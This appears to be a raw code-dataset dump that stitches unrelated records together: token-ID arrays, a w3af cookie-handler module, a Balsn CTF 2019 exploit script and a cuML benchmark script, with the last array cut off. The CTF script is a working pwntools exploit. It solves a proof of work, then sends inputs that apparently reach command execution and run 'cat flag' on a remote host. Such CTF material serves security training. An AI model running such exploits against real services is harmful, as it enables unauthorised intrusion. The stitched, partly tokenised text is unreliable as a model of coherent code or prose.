9012, 29918, 1688, 29918, 4905, 29889, 2732, 29908, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1967, 353, 13850, 29906, 29889, 326, 949, 29898, 1177, 12336, 29918, 2382, 29918, 10145, 29897, 13, 13, 1678, 396, 512, 1797, 363, 379, 820, 4327, 304, 664, 29892, 591, 3394, 3196, 18094, 322, 2927, 14515, 1953, 373, 1749, 2441, 1967, 13, 13, 1678, 1967, 29918, 11023, 29873, 353, 13850, 29906, 29889, 11023, 29873, 3306, 29898, 3027, 29892, 13850, 29906, 29889, 15032, 1955, 29918, 29933, 14345, 29906, 29954, 22800, 29897, 1678, 396, 350, 14345, 6660, 4122, 952, 29883, 744, 2927, 11301, 13, 1678, 1967, 29918, 11023, 29873, 353, 13850, 29906, 29889, 29907, 14763, 29898, 3027, 29918, 11023, 29873, 29892, 29871, 29896, 29900, 29900, 29892, 29871, 29906, 29900, 29900, 29897, 632, 396, 315, 14763, 7636, 2280, 13, 1678, 1967, 29918, 11023, 29873, 353, 13850, 29906, 29889, 29881, 309, 403, 29898, 462, 18884, 396, 270, 8634, 6911, 502, 337, 11433, 278, 2441, 1203, 1962, 1400, 508, 1460, 7636, 13, 4706, 1967, 29918, 11023, 29873, 29892, 13, 4706, 13850, 29906, 29889, 657, 19560, 3864, 2642, 29898, 11023, 29906, 29889, 29924, 1955, 19689, 29918, 26282, 29892, 313, 29945, 29892, 29871, 29945, 8243, 13, 4706, 24372, 29922, 29896, 13, 1678, 1723, 13, 1678, 1967, 29918, 11023, 29873, 353, 13850, 29906, 29889, 261, 356, 29898, 462, 462, 396, 604, 359, 291, 304, 3349, 4796, 694, 4637, 411, 263, 29871, 29945, 29916, 29945, 8466, 7436, 297, 263, 29871, 29906, 29928, 26851, 13, 4706, 1967, 29918, 11023, 29873, 29892, 13, 4706, 13850, 29906, 29889, 657, 19560, 3864, 2642, 29898, 11023, 29906, 29889, 29924, 1955, 19689, 29918, 26282, 29892, 313, 29945, 29892, 29871, 29945, 8243, 13, 4706, 24372, 29922, 29896, 13, 1678, 1723, 13, 1678, 263, 29892, 289, 353, 298, 820, 29918, 1220, 29918, 29881, 2650, 428, 29898, 3027, 29892, 1967, 29918, 11023, 29873, 29897, 13, 2 ]
packages/w3af/w3af/core/data/url/handlers/cookie_handler.py
ZooAtmosphereGroup/HelloPackages
3
21370
<gh_stars>1-10 """ cookie_handler.py Copyright 2006 <NAME> This file is part of w3af, http://w3af.org/ . w3af is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. w3af is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with w3af; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ from cookielib import MozillaCookieJar from urllib2 import HTTPCookieProcessor class CookieHandler(HTTPCookieProcessor): def __init__(self, default_cookiejar=None): HTTPCookieProcessor.__init__(self, None) # Store the different cookie jars here, these represent the different # browser sessions that the plugins might request self.jars = {} if default_cookiejar is None: default_cookiejar = MozillaCookieJar() self.default_cookiejar = default_cookiejar def get_cookie_jar(self, request): """ :param request: The HTTP request, with a browser session attribute, or None if the default cookiejar should be used. :return: The cookiejar instance """ if request.session is None: return self.default_cookiejar session = self.jars.get(request.session, None) if session is not None: return session new_session = MozillaCookieJar() self.jars[request.session] = new_session return new_session def clear_cookies(self): """ Clear the cookies from all cookie jars. :return: None """ for cookiejar in self.jars.itervalues(): cookiejar.clear() cookiejar.clear_session_cookies() self.default_cookiejar.clear() self.default_cookiejar.clear_session_cookies() def http_request(self, request): if not request.cookies: # Don't do any cookie handling return request try: cookiejar = self.get_cookie_jar(request) cookiejar.add_cookie_header(request) except AttributeError: # https://github.com/andresriancho/w3af/issues/13842 pass return request def http_response(self, request, response): cookiejar = self.get_cookie_jar(request) cookiejar.extract_cookies(response, request) return response https_request = http_request https_response = http_response
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 15945, 29908, 13, 21509, 29918, 13789, 29889, 2272, 13, 13, 11882, 1266, 29871, 29906, 29900, 29900, 29953, 529, 5813, 29958, 13, 13, 4013, 934, 338, 760, 310, 281, 29941, 2142, 29892, 1732, 597, 29893, 29941, 2142, 29889, 990, 29914, 869, 13, 13, 29893, 29941, 2142, 338, 3889, 7047, 29936, 366, 508, 2654, 391, 2666, 372, 322, 29914, 272, 6623, 13, 277, 1090, 278, 4958, 310, 278, 15143, 4593, 5236, 19245, 408, 6369, 491, 13, 1552, 12362, 18540, 10606, 1873, 29871, 29906, 310, 278, 19245, 29889, 13, 13, 29893, 29941, 2142, 338, 13235, 297, 278, 4966, 393, 372, 674, 367, 5407, 29892, 13, 4187, 399, 1806, 8187, 2692, 13764, 29979, 399, 1718, 29934, 13566, 29979, 29936, 1728, 1584, 278, 2411, 2957, 1370, 21867, 29891, 310, 13, 29924, 1001, 3210, 13566, 2882, 6227, 11937, 470, 383, 1806, 8186, 1799, 15842, 319, 349, 8322, 2965, 13309, 1718, 349, 4574, 13152, 1660, 29889, 29871, 2823, 278, 13, 29954, 11601, 4593, 5236, 19245, 363, 901, 4902, 29889, 13, 13, 3492, 881, 505, 4520, 263, 3509, 310, 278, 15143, 4593, 5236, 19245, 13, 284, 549, 411, 281, 29941, 2142, 29936, 565, 451, 29892, 2436, 304, 278, 12362, 18540, 13, 28077, 29892, 9266, 1696, 29871, 29945, 29896, 21504, 624, 29892, 29008, 386, 383, 10102, 29892, 12115, 29892, 14861, 259, 29900, 29906, 29896, 29896, 29900, 29899, 29896, 29941, 29900, 29896, 29871, 8278, 13, 13, 15945, 29908, 13, 3166, 7984, 709, 747, 1053, 18129, 2911, 24914, 29967, 279, 13, 3166, 3142, 1982, 29906, 1053, 7331, 24914, 18689, 13, 13, 13, 1990, 17278, 347, 4598, 29898, 10493, 24914, 18689, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 2322, 29918, 21509, 4758, 29922, 8516, 1125, 13, 4706, 7331, 24914, 18689, 17255, 2344, 12035, 1311, 29892, 6213, 29897, 13, 13, 4706, 396, 14491, 278, 1422, 15327, 432, 1503, 1244, 29892, 1438, 2755, 278, 1422, 13, 4706, 396, 4714, 21396, 393, 278, 18224, 1795, 2009, 13, 4706, 1583, 29889, 29926, 1503, 353, 6571, 13, 13, 4706, 565, 2322, 29918, 21509, 4758, 338, 6213, 29901, 13, 9651, 2322, 29918, 21509, 4758, 353, 18129, 2911, 24914, 29967, 279, 580, 13, 13, 4706, 1583, 29889, 4381, 29918, 21509, 4758, 353, 2322, 29918, 21509, 4758, 13, 13, 1678, 822, 679, 29918, 21509, 29918, 4758, 29898, 1311, 29892, 2009, 1125, 13, 4706, 9995, 13, 4706, 584, 3207, 2009, 29901, 450, 7331, 2009, 29892, 411, 263, 4714, 4867, 5352, 29892, 470, 13, 462, 4706, 6213, 565, 278, 2322, 15327, 4758, 881, 367, 1304, 29889, 13, 13, 4706, 584, 2457, 29901, 450, 15327, 4758, 2777, 13, 4706, 9995, 13, 4706, 565, 2009, 29889, 7924, 338, 6213, 29901, 13, 9651, 736, 1583, 29889, 4381, 29918, 21509, 4758, 13, 13, 4706, 4867, 353, 1583, 29889, 29926, 1503, 29889, 657, 29898, 3827, 29889, 7924, 29892, 6213, 29897, 13, 4706, 565, 4867, 338, 451, 6213, 29901, 13, 9651, 736, 4867, 13, 13, 4706, 716, 29918, 7924, 353, 18129, 2911, 24914, 29967, 279, 580, 13, 4706, 1583, 29889, 29926, 1503, 29961, 3827, 29889, 7924, 29962, 353, 716, 29918, 7924, 13, 4706, 736, 716, 29918, 7924, 13, 13, 1678, 822, 2821, 29918, 15108, 583, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 17732, 278, 21046, 515, 599, 15327, 432, 1503, 29889, 13, 4706, 584, 2457, 29901, 6213, 13, 4706, 9995, 13, 4706, 363, 15327, 4758, 297, 1583, 29889, 29926, 1503, 29889, 1524, 5975, 7295, 13, 9651, 15327, 4758, 29889, 8551, 580, 13, 9651, 15327, 4758, 29889, 8551, 29918, 7924, 29918, 15108, 583, 580, 13, 13, 4706, 1583, 29889, 4381, 29918, 21509, 4758, 29889, 8551, 580, 13, 4706, 1583, 29889, 4381, 29918, 21509, 4758, 29889, 8551, 29918, 7924, 29918, 15108, 583, 580, 13, 13, 1678, 822, 1732, 29918, 3827, 29898, 1311, 29892, 2009, 1125, 13, 4706, 565, 451, 2009, 29889, 15108, 583, 29901, 13, 9651, 396, 3872, 29915, 29873, 437, 738, 15327, 11415, 13, 9651, 736, 2009, 13, 13, 4706, 1018, 29901, 13, 9651, 15327, 4758, 353, 1583, 29889, 657, 29918, 21509, 29918, 4758, 29898, 3827, 29897, 13, 9651, 15327, 4758, 29889, 1202, 29918, 21509, 29918, 6672, 29898, 3827, 29897, 13, 4706, 5174, 23833, 2392, 29901, 13, 9651, 396, 2045, 597, 3292, 29889, 510, 29914, 392, 690, 6392, 1859, 29914, 29893, 29941, 2142, 29914, 12175, 29914, 29896, 29941, 29947, 29946, 29906, 13, 9651, 1209, 13, 13, 4706, 736, 2009, 13, 13, 1678, 822, 1732, 29918, 5327, 29898, 1311, 29892, 2009, 29892, 2933, 1125, 13, 4706, 15327, 4758, 353, 1583, 29889, 657, 29918, 21509, 29918, 4758, 29898, 3827, 29897, 13, 4706, 15327, 4758, 29889, 21111, 29918, 15108, 583, 29898, 5327, 29892, 2009, 29897, 13, 4706, 736, 2933, 13, 13, 1678, 2045, 29918, 3827, 353, 1732, 29918, 3827, 13, 1678, 2045, 29918, 5327, 353, 1732, 29918, 5327, 13, 2 ]
Balsn_CTF_2019/Need_some_flags/solution/Need_some_flags_2_exp.py
sces60107/My-CTF-Challenges
3
40266
from pwn import * import hashlib r=remote("172.16.17.32",10122) ## pow temp=r.recvuntil("sha256( ") prefix=r.recvline().split()[0] i=0 while True: data=prefix+str(i) Hash=hashlib.sha256(data) if Hash.hexdigest()[:5]=="0"*5: r.sendline(str(i)) break i+=1 ## get flag r.sendline("0") r.sendline("system") r.sendline("1") r.sendline("nonsecret.pyc") r.sendline("b013") r.sendline("92") r.sendline("3") r.sendline("cat flag") r.interactive()
[ 1, 515, 282, 1233, 1053, 334, 13, 5215, 6608, 1982, 13, 13, 29878, 29922, 16674, 703, 29896, 29955, 29906, 29889, 29896, 29953, 29889, 29896, 29955, 29889, 29941, 29906, 613, 29896, 29900, 29896, 29906, 29906, 29897, 13, 2277, 4764, 13, 13, 7382, 29922, 29878, 29889, 3757, 29894, 29305, 703, 17051, 29906, 29945, 29953, 29898, 16521, 13, 13506, 29922, 29878, 29889, 3757, 29894, 1220, 2141, 5451, 580, 29961, 29900, 29962, 13, 29875, 29922, 29900, 13, 8000, 5852, 29901, 13, 29871, 848, 29922, 13506, 29974, 710, 29898, 29875, 29897, 13, 29871, 11874, 29922, 8568, 1982, 29889, 17051, 29906, 29945, 29953, 29898, 1272, 29897, 13, 29871, 565, 11874, 29889, 20970, 7501, 342, 580, 7503, 29945, 13192, 543, 29900, 29908, 29930, 29945, 29901, 13, 1678, 364, 29889, 6717, 1220, 29898, 710, 29898, 29875, 876, 13, 1678, 2867, 13, 29871, 474, 23661, 29896, 13, 13, 2277, 679, 7353, 13, 13, 29878, 29889, 6717, 1220, 703, 29900, 1159, 13, 29878, 29889, 6717, 1220, 703, 5205, 1159, 13, 29878, 29889, 6717, 1220, 703, 29896, 1159, 13, 29878, 29889, 6717, 1220, 703, 5464, 19024, 29889, 2272, 29883, 1159, 13, 29878, 29889, 6717, 1220, 703, 29890, 29900, 29896, 29941, 1159, 13, 29878, 29889, 6717, 1220, 703, 29929, 29906, 1159, 13, 29878, 29889, 6717, 1220, 703, 29941, 1159, 13, 29878, 29889, 6717, 1220, 703, 4117, 7353, 1159, 13, 29878, 29889, 1639, 4925, 580, 13, 2 ]
python/cuml/benchmark/ci_benchmark.py
taureandyernv/cuml
3
1611168
<reponame>taureandyernv/cuml # # Copyright (c) 2019, NVIDIA CORPORATION. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License.` # """Script to benchmark cuML modules in CI NOTE: This is currently experimental as the ops team builds out the CI platform to support benchmark reporting. """ from cuml.benchmark.runners import run_variations from cuml.benchmark import algorithms import numpy as np import pandas as pd def log_range(start, end, n): return np.logspace(np.log10(start), np.log10(end), num=n, dtype=np.int32) def expand_params(key, vals): return [{key: v} for v in vals] def report_asv(results_df, output_dir): """Logs the dataframe `results_df` to airspeed velocity format. This writes (or appends to) JSON files in `output_dir` Parameters ---------- results_df : pd.DataFrame DataFrame with one row per benchmark run output_dir : str Directory for ASV output database """ import asvdb import platform import psutil uname = platform.uname() (commitHash, commitTime) = asvdb.utils.getCommitInfo() b_info = asvdb.BenchmarkInfo( machineName=uname.machine, cudaVer="10.0", osType="%s %s" % (uname.system, uname.release), pythonVer=platform.python_version(), commitHash=commitHash, commitTime=commitTime, gpuType="n/a", cpuType=uname.processor, arch=uname.machine, ram="%d" % psutil.virtual_memory().total, ) ( repo, branch, ) = asvdb.utils.getRepoInfo() # gets repo info from CWD by default db = asvdb.ASVDb(dbDir=output_dir, repo=repo, branches=[branch]) for index, row in results_df.iterrows(): val_keys = ['cu_time', 'cpu_time', 'speedup', 'cuml_acc', 'cpu_acc'] params = [(k, v) for k, v in row.items() if k not in val_keys] result = asvdb.BenchmarkResult( row['algo'], params, result=row['cu_time'] ) db.addResult(b_info, result) def make_bench_configs(long_config): """Defines the configurations we want to benchmark If `long_config` is True, this may take over an hour. If False, the run should take only a few minutes.""" configs = [] if long_config: # Use large_rows for pretty fast algos, # use small_rows for slower ones small_rows = log_range(10000, 1000000, 2) large_rows = log_range(1e5, 1e7, 2) else: # Small config only runs a single size small_rows = log_range(20000, 20000, 1) large_rows = log_range(100000, 100000, 1) default_dims = [16, 256] # Add all the simple algorithms that don't need special treatment algo_defs = [ ("KMeans", "blobs", small_rows, default_dims, [{}]), ("DBScan", "blobs", small_rows, default_dims, [{}]), ("TSNE", "blobs", small_rows, default_dims, [{}]), ("NearestNeighbors", "blobs", small_rows, default_dims, [{}]), ("MBSGDClassifier", "blobs", large_rows, default_dims, [{}]), ("LogisticRegression", "classification", large_rows, default_dims, [{}]), ("LinearRegression", "regression", large_rows, default_dims, [{}]), ("Lasso", "regression", large_rows, default_dims, [{}]), ("ElasticNet", "regression", large_rows, default_dims, [{}]), ("PCA", "blobs", large_rows, [32, 256], expand_params("n_components", [2, 25])), ("tSVD", "blobs", large_rows, [32, 256], expand_params("n_components", [2, 25]),), ("GaussianRandomProjection", "blobs", large_rows, [32, 256], expand_params("n_components", [2, 25]),), ] for algo_name, dataset_name, rows, dims, params in algo_defs: configs.append( dict( algo_name=algo_name, dataset_name=dataset_name, bench_rows=rows, bench_dims=dims, param_override_list=params, ) ) # Explore some more interesting params for RF if long_config: configs += [ dict( algo_name="RandomForestClassifier", dataset_name="classification", bench_rows=small_rows, bench_dims=default_dims, cuml_param_override_list=[ {"n_bins": [8, 32]}, {"split_algo": [0, 1]}, {"max_features": ['sqrt', 1.0]}, ], ) ] return configs bench_config = { "short": make_bench_configs(False), "long": make_bench_configs(True), } if __name__ == '__main__': import argparse parser = argparse.ArgumentParser( prog='ci_benchmark', description=''' Tool for running benchmarks in CI ''', ) parser.add_argument( "--benchmark", type=str, choices=bench_config.keys(), default="short" ) parser.add_argument('--asvdb', required=False, type=str) args = parser.parse_args() bench_to_run = bench_config[args.benchmark] default_args = dict(run_cpu=False) all_results = [] for cfg_in in bench_to_run: # Pass an actual algo object instead of an algo_name string cfg = cfg_in.copy() algo = algorithms.algorithm_by_name(cfg_in["algo_name"]) cfg["algos"] = [algo] del cfg["algo_name"] res = run_variations(**{**default_args, **cfg}) all_results.append(res) results_df = pd.concat(all_results) print(results_df) if args.asvdb: report_asv(results_df, args.asvdb)
[ 1, 529, 276, 1112, 420, 29958, 941, 545, 13910, 824, 29894, 29914, 29883, 398, 29880, 13, 29937, 13, 29937, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29929, 29892, 405, 13044, 10764, 315, 1955, 29925, 1955, 8098, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 17580, 13, 29937, 13, 15945, 29908, 4081, 304, 23513, 2723, 1988, 10585, 297, 25781, 13, 13, 12256, 29923, 29901, 910, 338, 5279, 17986, 408, 278, 288, 567, 3815, 23315, 714, 278, 25781, 13, 12120, 304, 2304, 23513, 23415, 29889, 13, 15945, 29908, 13, 3166, 13299, 29880, 29889, 1785, 16580, 29889, 3389, 8397, 1053, 1065, 29918, 5927, 800, 13, 3166, 13299, 29880, 29889, 1785, 16580, 1053, 14009, 13, 5215, 12655, 408, 7442, 13, 5215, 11701, 408, 10518, 13, 13, 13, 1753, 1480, 29918, 3881, 29898, 2962, 29892, 1095, 29892, 302, 1125, 13, 1678, 736, 7442, 29889, 1188, 3493, 29898, 9302, 29889, 1188, 29896, 29900, 29898, 2962, 511, 7442, 29889, 1188, 29896, 29900, 29898, 355, 511, 954, 29922, 29876, 29892, 26688, 29922, 9302, 29889, 524, 29941, 29906, 29897, 13, 13, 13, 1753, 7985, 29918, 7529, 29898, 1989, 29892, 659, 29879, 1125, 13, 1678, 736, 15974, 1989, 29901, 325, 29913, 363, 325, 297, 659, 29879, 29962, 13, 13, 13, 1753, 3461, 29918, 294, 29894, 29898, 9902, 29918, 2176, 29892, 1962, 29918, 3972, 1125, 13, 1678, 9995, 3403, 29879, 278, 12205, 421, 9902, 29918, 2176, 29952, 304, 4799, 19322, 12885, 3402, 29889, 13, 1678, 910, 15873, 313, 272, 623, 1975, 304, 29897, 4663, 2066, 297, 421, 4905, 29918, 3972, 29952, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 2582, 29918, 2176, 584, 10518, 29889, 17271, 13, 418, 3630, 4308, 411, 697, 1948, 639, 23513, 1065, 13, 1678, 1962, 29918, 3972, 584, 851, 13, 418, 18862, 363, 3339, 29963, 1962, 2566, 13, 1678, 9995, 13, 1678, 1053, 408, 29894, 2585, 13, 1678, 1053, 7481, 13, 1678, 1053, 6529, 4422, 13, 13, 1678, 443, 420, 353, 7481, 29889, 348, 420, 580, 13, 1678, 313, 15060, 10438, 29892, 9063, 2481, 29897, 353, 408, 29894, 2585, 29889, 13239, 29889, 657, 1523, 2415, 3401, 580, 13, 13, 1678, 289, 29918, 3888, 353, 408, 29894, 2585, 29889, 20841, 16580, 3401, 29898, 13, 4706, 4933, 1170, 29922, 348, 420, 29889, 23523, 29892, 13, 4706, 274, 6191, 6565, 543, 29896, 29900, 29889, 29900, 613, 13, 4706, 2897, 1542, 543, 29995, 29879, 1273, 29879, 29908, 1273, 313, 348, 420, 29889, 5205, 29892, 443, 420, 29889, 14096, 511, 13, 4706, 3017, 6565, 29922, 12120, 29889, 4691, 29918, 3259, 3285, 13, 4706, 9063, 10438, 29922, 15060, 10438, 29892, 13, 4706, 9063, 2481, 29922, 15060, 2481, 29892, 13, 4706, 330, 3746, 1542, 543, 29876, 29914, 29874, 613, 13, 4706, 26403, 1542, 29922, 348, 420, 29889, 26482, 29892, 13, 4706, 3190, 29922, 348, 420, 29889, 23523, 29892, 13, 4706, 13472, 543, 29995, 29881, 29908, 1273, 6529, 4422, 29889, 18714, 29918, 14834, 2141, 7827, 29892, 13, 1678, 1723, 13, 1678, 313, 13, 4706, 13761, 29892, 13, 4706, 5443, 29892, 13, 1678, 1723, 353, 408, 29894, 2585, 29889, 13239, 29889, 657, 5612, 29877, 3401, 580, 29871, 396, 4947, 13761, 5235, 515, 315, 24668, 491, 2322, 13, 13, 1678, 4833, 353, 408, 29894, 2585, 29889, 3289, 29963, 10234, 29898, 2585, 9170, 29922, 4905, 29918, 3972, 29892, 13761, 29922, 20095, 29892, 14202, 11759, 17519, 2314, 13, 13, 1678, 363, 2380, 29892, 1948, 297, 2582, 29918, 2176, 29889, 1524, 5727, 7295, 13, 4706, 659, 29918, 8149, 353, 6024, 4979, 29918, 2230, 742, 525, 21970, 29918, 2230, 742, 525, 19322, 786, 742, 525, 29883, 398, 29880, 29918, 5753, 742, 525, 21970, 29918, 5753, 2033, 13, 4706, 8636, 353, 17288, 29895, 29892, 325, 29897, 363, 413, 29892, 325, 297, 1948, 29889, 7076, 580, 565, 413, 451, 297, 659, 29918, 8149, 29962, 13, 4706, 1121, 353, 408, 29894, 2585, 29889, 20841, 16580, 3591, 29898, 13, 9651, 1948, 1839, 284, 1484, 7464, 8636, 29892, 1121, 29922, 798, 1839, 4979, 29918, 2230, 2033, 13, 4706, 1723, 13, 4706, 4833, 29889, 1202, 3591, 29898, 29890, 29918, 3888, 29892, 1121, 29897, 13, 13, 13, 1753, 1207, 29918, 1785, 305, 29918, 2917, 29879, 29898, 5426, 29918, 2917, 1125, 13, 1678, 9995, 3206, 1475, 278, 22920, 591, 864, 304, 23513, 13, 1678, 960, 421, 5426, 29918, 2917, 29952, 338, 5852, 29892, 445, 1122, 2125, 975, 385, 7234, 29889, 13, 1678, 960, 7700, 29892, 278, 1065, 881, 2125, 871, 263, 2846, 6233, 1213, 15945, 13, 13, 1678, 2295, 29879, 353, 5159, 13, 1678, 565, 1472, 29918, 2917, 29901, 13, 4706, 396, 4803, 2919, 29918, 5727, 363, 5051, 5172, 3093, 359, 29892, 13, 4706, 396, 671, 2319, 29918, 5727, 363, 20312, 6743, 13, 4706, 2319, 29918, 5727, 353, 1480, 29918, 3881, 29898, 29896, 29900, 29900, 29900, 29900, 29892, 29871, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 29892, 29871, 29906, 29897, 13, 4706, 2919, 29918, 5727, 353, 1480, 29918, 3881, 29898, 29896, 29872, 29945, 29892, 29871, 29896, 29872, 29955, 29892, 29871, 29906, 29897, 13, 1678, 1683, 29901, 13, 4706, 396, 18285, 2295, 871, 6057, 263, 2323, 2159, 13, 4706, 2319, 29918, 5727, 353, 1480, 29918, 3881, 29898, 29906, 29900, 29900, 29900, 29900, 29892, 29871, 29906, 29900, 29900, 29900, 29900, 29892, 29871, 29896, 29897, 13, 4706, 2919, 29918, 5727, 353, 1480, 29918, 3881, 29898, 29896, 29900, 29900, 29900, 29900, 29900, 29892, 29871, 29896, 29900, 29900, 29900, 29900, 29900, 29892, 29871, 29896, 29897, 13, 13, 1678, 2322, 29918, 6229, 29879, 353, 518, 29896, 29953, 29892, 29871, 29906, 29945, 29953, 29962, 13, 13, 1678, 396, 3462, 599, 278, 2560, 14009, 393, 1016, 29915, 29873, 817, 4266, 14502, 13, 1678, 24673, 29918, 1753, 29879, 353, 518, 13, 4706, 4852, 29968, 6816, 550, 613, 376, 10054, 29879, 613, 2319, 29918, 5727, 29892, 2322, 29918, 6229, 29879, 29892, 15974, 6525, 511, 13, 4706, 4852, 4051, 29083, 613, 376, 10054, 29879, 613, 2319, 29918, 5727, 29892, 2322, 29918, 6229, 29879, 29892, 15974, 6525, 511, 13, 4706, 4852, 9375, 8186, 613, 376, 10054, 29879, 613, 2319, 29918, 5727, 29892, 2322, 29918, 6229, 29879, 29892, 15974, 6525, 511, 13, 4706, 4852, 29940, 799, 342, 8139, 1141, 29890, 943, 613, 376, 10054, 29879, 613, 2319, 29918, 5727, 29892, 2322, 29918, 6229, 29879, 29892, 15974, 6525, 511, 13, 4706, 4852, 9486, 26016, 29928, 2385, 3709, 613, 376, 10054, 29879, 613, 2919, 29918, 5727, 29892, 2322, 29918, 6229, 29879, 29892, 15974, 6525, 511, 13, 4706, 4852, 3403, 4695, 4597, 23881, 613, 376, 1990, 2450, 613, 2919, 29918, 5727, 29892, 2322, 29918, 6229, 29879, 29892, 13, 308, 15974, 6525, 511, 13, 4706, 4852, 12697, 4597, 23881, 613, 376, 276, 11476, 613, 2919, 29918, 5727, 29892, 2322, 29918, 6229, 29879, 29892, 15974, 6525, 511, 13, 4706, 4852, 29931, 9979, 613, 376, 276, 11476, 613, 2919, 29918, 5727, 29892, 2322, 29918, 6229, 29879, 29892, 15974, 6525, 511, 13, 4706, 4852, 29923, 4230, 293, 6779, 613, 376, 276, 11476, 613, 2919, 29918, 5727, 29892, 2322, 29918, 6229, 29879, 29892, 15974, 6525, 511, 13, 4706, 4852, 29925, 5454, 613, 376, 10054, 29879, 613, 2919, 29918, 5727, 29892, 518, 29941, 29906, 29892, 29871, 29906, 29945, 29953, 1402, 13, 308, 7985, 29918, 7529, 703, 29876, 29918, 14036, 613, 518, 29906, 29892, 29871, 29906, 29945, 2314, 511, 13, 4706, 4852, 29873, 7597, 29928, 613, 376, 10054, 29879, 613, 2919, 29918, 5727, 29892, 518, 29941, 29906, 29892, 29871, 29906, 29945, 29953, 1402, 13, 308, 7985, 29918, 7529, 703, 29876, 29918, 14036, 613, 518, 29906, 29892, 29871, 29906, 29945, 11724, 511, 13, 4706, 4852, 29954, 17019, 17875, 1184, 6929, 613, 376, 10054, 29879, 613, 2919, 29918, 5727, 29892, 518, 29941, 29906, 29892, 29871, 29906, 29945, 29953, 1402, 13, 308, 7985, 29918, 7529, 703, 29876, 29918, 14036, 613, 518, 29906, 29892, 29871, 29906, 29945, 11724, 511, 13, 1678, 4514, 13, 13, 1678, 363, 24673, 29918, 978, 29892, 8783, 29918, 978, 29892, 4206, 29892, 3964, 29879, 29892, 8636, 297, 24673, 29918, 1753, 29879, 29901, 13, 4706, 2295, 29879, 29889, 4397, 29898, 13, 9651, 9657, 29898, 13, 18884, 24673, 29918, 978, 29922, 284, 1484, 29918, 978, 29892, 13, 18884, 8783, 29918, 978, 29922, 24713, 29918, 978, 29892, 13, 18884, 3856, 305, 29918, 5727, 29922, 5727, 29892, 13, 18884, 3856, 305, 29918, 6229, 29879, 29922, 6229, 29879, 29892, 13, 18884, 1828, 29918, 15752, 29918, 1761, 29922, 7529, 29892, 13, 9651, 1723, 13, 4706, 1723, 13, 13, 1678, 396, 1222, 572, 487, 777, 901, 8031, 8636, 363, 390, 29943, 13, 1678, 565, 1472, 29918, 2917, 29901, 13, 4706, 2295, 29879, 4619, 518, 13, 9651, 9657, 29898, 13, 18884, 24673, 29918, 978, 543, 17875, 2831, 342, 2385, 3709, 613, 13, 18884, 8783, 29918, 978, 543, 1990, 2450, 613, 13, 18884, 3856, 305, 29918, 5727, 29922, 9278, 29918, 5727, 29892, 13, 18884, 3856, 305, 29918, 6229, 29879, 29922, 4381, 29918, 6229, 29879, 29892, 13, 18884, 13299, 29880, 29918, 3207, 29918, 15752, 29918, 1761, 11759, 13, 462, 1678, 8853, 29876, 29918, 29890, 1144, 1115, 518, 29947, 29892, 29871, 29941, 29906, 29962, 1118, 13, 462, 1678, 8853, 5451, 29918, 284, 1484, 1115, 518, 29900, 29892, 29871, 29896, 29962, 1118, 13, 462, 1678, 8853, 3317, 29918, 22100, 1115, 6024, 3676, 742, 29871, 29896, 29889, 29900, 29962, 1118, 13, 18884, 21251, 13, 9651, 1723, 13, 4706, 4514, 13, 13, 1678, 736, 2295, 29879, 13, 13, 13, 1785, 305, 29918, 2917, 353, 426, 13, 1678, 376, 12759, 1115, 1207, 29918, 1785, 305, 29918, 2917, 29879, 29898, 8824, 511, 13, 1678, 376, 5426, 1115, 1207, 29918, 1785, 305, 29918, 2917, 29879, 29898, 5574, 511, 13, 29913, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1053, 1852, 5510, 13, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 13, 4706, 410, 29887, 2433, 455, 29918, 1785, 16580, 742, 13, 4706, 6139, 2433, 4907, 13, 462, 462, 268, 21704, 363, 2734, 23513, 29879, 297, 25781, 13, 462, 462, 268, 6629, 742, 13, 1678, 1723, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 376, 489, 1785, 16580, 613, 1134, 29922, 710, 29892, 19995, 29922, 1785, 305, 29918, 2917, 29889, 8149, 3285, 2322, 543, 12759, 29908, 13, 1678, 1723, 13, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 294, 29894, 2585, 742, 3734, 29922, 8824, 29892, 1134, 29922, 710, 29897, 13, 1678, 6389, 353, 13812, 29889, 